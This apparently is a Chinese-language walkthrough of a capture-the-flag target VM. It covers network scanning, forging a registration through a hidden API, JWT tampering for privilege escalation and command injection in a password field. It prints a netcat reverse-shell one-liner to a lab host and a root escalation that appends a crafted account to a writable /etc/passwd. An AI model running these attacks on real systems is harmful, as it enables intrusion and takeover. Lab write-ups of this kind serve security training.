靶机ip无法获取问题的解决方法:
用网上的方法使用dirty pass根本无法登录,接下来记录一下我的处理办法,很暴力,直接修改靶机密码……
1.在启动界面按E
2.找到ro_quiet splash这一行将其改为rw quiet splash init=/bin/bash
3.按ctrl+x保存重启
4.输入passwd root,接住连续输入两次要更改的root密码
5.重启,用root账户登录,输入dhclient配置ip
6.输入ifconfig -a即可查询到分配的ip,此时也就可以用nmap等工具扫描到了。
一、信息收集:
1.这四种方法都可以扫描端口:
masscan 192.168.225.170 -p0-65535 --rate=10000
netdiscover -i eth0 -r 192.168.225.0/24
nmap -sP 192.168.225.0/24
arp-scan -l
2.网站指纹信息扫描
3. 扫描目录并进行访问,login爆破出弱口令进行登录都没有有用的信息,这里就不写了
知识盲区:
1.在注册界面有提示:点击出现一个通知,大概意思是目前不接受注册。如果需要,请联系a代表创建一个商业帐户。
所以考虑利用该漏洞注册一个新账户
2.在注册界面发现首页调用了4个js文件,分别进行以register为关键字搜索进行查看,在main.8b490782e52b9899e2a7.bundle.js中美化一下源代码:
3.查看js文件,发现注册需要四条信息:(两点注意信息)
- Content-Type 必须要是:application/json
- post 数据包内容处,必须要严格按照js代码里的规范
4.所以使用burp抓包修改访问地址和内容,进行重发,发现返回success说明注册成功:
{
"name": "ysy",
"email": "ysy@163.com",
"username": "admin",
"password": "123"
}
水平越权:
5.接下来用自己注册的账号进行登录:
发现url显示的是自己注册的username,估计注册其他用户也一样,所以同样的用方法再注册一个账号来进行测试,新注册了一个 123在url的最后,把admin改为123发现也可以访问,说明存在水平越权漏洞
垂直越权:
1.现在回到burp里面,重新登录并进行抓包,发送给重发器中抓取回包:
返回包中有"auth_level":"standard_user"的字段,大致应该是判断用户权限等级的,以及一个JWT开头的token字段:根据token取出保存的用户信息做登录身份校验
相关文章:https://www.cnblogs.com/aaron911/p/11300062.html
2.返回js文件,通过auth_level关键字进行搜索:也就是说将standard_user改为master_admin_user应该就可以完成垂直越权
3.首先解码JWT的token:https://jwt.io
修改standard_user为master_admin_user可得到新的JWT编码
4.此时退出登录,重新用该账号登录并抓包,选择''拦截执行''的''此请求的响应'',然后点击发送
此时可以看到响应的回包,接下来将修改后的编码替换响应的JWT编码处,并且修改standard_user为master_admin_user,再点击发送
5.发送之后,返回网页界面可以看到出现了admin:
6.点击进入,在修改密码处存在命令执行漏洞(就很迷,不知道怎么测试出来的)
进行抓包,在password处写入一个反弹shell并发送,在kali上进行监听可以得到反弹的shell:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.37.131 1234 >/tmp/f;
提权:
1.因为目前是普通用户,所以先查看一下/etc/passwd密码文件权限,发现可以写入:
find / -writable -type f 2>/dev/null |grep -v "/proc/" | head //查看可写文件
ls -lh /etc | grep passwd //不如直接查看我们的目标/etc/passwd文件
2.直接向etc/passwd中添加root权限账户,先生成所创建账户的加盐密码(这里的ysy是加密盐,没有加密盐输出的字符串是MD5加密的)
perl -le 'print crypt("pass", "ysy")' //添加一个root权限账户
2.生成的ysKpbCTbaQIm2是加密后的密码,将新建的用户写入/etc/passwd文件:
echo 'ysy:ysKpbCTbaQIm2:0:0:ysy:/root:/bin/bash' >>/etc/passwd
tail -l /etc/passwd //查看是否写入
3.接下来就可以切换root账户进行登录了,无法直接sudo,先生成一个终端:
python -c 'import pty;pty.spawn("/bin/bash")'
成功提权获取flag。
总结:
1.越权漏洞解释文章:https://blog.csdn.net/u012068483/article/details/89553797
2.需要对js代码有一定的理解。